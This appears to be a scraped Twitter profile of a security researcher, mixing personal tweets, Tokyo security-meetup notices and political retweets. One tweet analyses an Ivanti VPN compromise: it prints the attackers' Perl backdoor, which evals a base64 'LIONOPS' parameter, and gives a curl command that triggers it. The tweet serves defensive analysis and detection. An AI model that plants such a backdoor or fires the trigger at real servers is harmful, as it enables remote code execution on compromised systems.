Reverse engineering, obfuscation, APT track, tool writing, etc
Burnaby, BC Canada
Joined August 2009
- Tweets1K
- Following311
- Followers438
- Likes247
for i in range(100):
remind_to_self("I will never buy HP printer ever again")
bought a printer ink cartridge for my folks from hp.com, which does not work with error message. HP refuses to refund. thank you @HP @HPSupport
1
1
142
Favorite scene in Inside Out 2. "Maybe this is what happens when you grow up, you feel less joy"
1
204
Tomorrow is BECKS Japan day!
becks.connpass.com/event/318…
156
9 days to go! Come and have a drink in Tokyo Garden Terras Kioicho!
5月23日(木)にセキュリティに関するミートアップ「Becks」を開催します。ビールを片手にテクニカルなトークが楽しめます。ぜひご参加をご検討ください。 #becks_jp
becks.connpass.com/event/318…
BECKS in JP long time no see! Come and have a drink! #becks_jp
5月23日(木)にセキュリティに関するミートアップ「Becks」を開催します。ビールを片手にテクニカルなトークが楽しめます。ぜひご参加をご検討ください。 #becks_jp
becks.connpass.com/event/318…
4
436
Getting into Ivanti CVE-2024-21893 In-the-Wild hackers' backdoor:
0. SSRF on saml-server will exploit CVE-2024-21887 vulnerability by bypassing mitigation and will likely crash saml-server
1. In the admin panel, get process snapshot (Troubleshooting > System snapshot)
2. Decrypt snapshot with pulse-meter.py (github.com/rxwx/pulse-meter)
3. $ tar xvf snapshot.decrypted
-> It'll dump coredump (CORE.saml-server.PID)
4. $ strings CORE.saml-server.PID | grep setcookie
-> you'll see attacker's saml xml payload
5. decode (URL, base64) payload and you'll get backdoored version of setcookie.thtml.ttc
following is the backdoored part:
$output .= "<!--\n";
my $keyname = 'LIONOPS';
my $key = CGI::param($keyname);
use MIME::Base64;
if(defined($key)){
my $arg=decode_base64("$key");
eval(decode_base64("$key"));
}
$output .= "-->\n";
"LIONOPS" is the keyword parameter to backdoor, so if you do something like:
$ curl https://your_vpn_server/dana-na/auth/setcookie.cgi?LIONOPS=<base64('print "a"*100')>
then backdoored device is likely to respond with 'a' * 100
#LINESecurity #ivanti #LIONOPS
jz (Heungsoo Kang) retweeted
I wrote an IDA plugin that queries #ChatGPT and explains decompiled functions. It's still very bleeding edge, but you can find the code here and try it out:
github.com/JusticeRage/Gepet…
(Yes, the video was performed on a very basic case for simplicity's sake.)
jz (Heungsoo Kang) retweeted
I’m no Trump fan. I want him as far away from the White House as possible. But a fundamental part of his appeal has been that it’s him against a corrupt government establishment. This raid strengthens that case for millions of Americans who will see this as unjust persecution.
jz (Heungsoo Kang) retweeted
I’m Kharkiv this morning, a Russian missile struck the regional administration building. The Russian military is trying to murder Ukrainian political leaders.
jz (Heungsoo Kang) retweeted
.@ZelenskyyUa's tv address to the Russian (!) people might be the most moving speech that I've ever seen in my entire life. The whole world needs to see, understand and share this crucial Ukrainian message.
#StandWithUkraine #Ukraine #Україна #Russia #Россия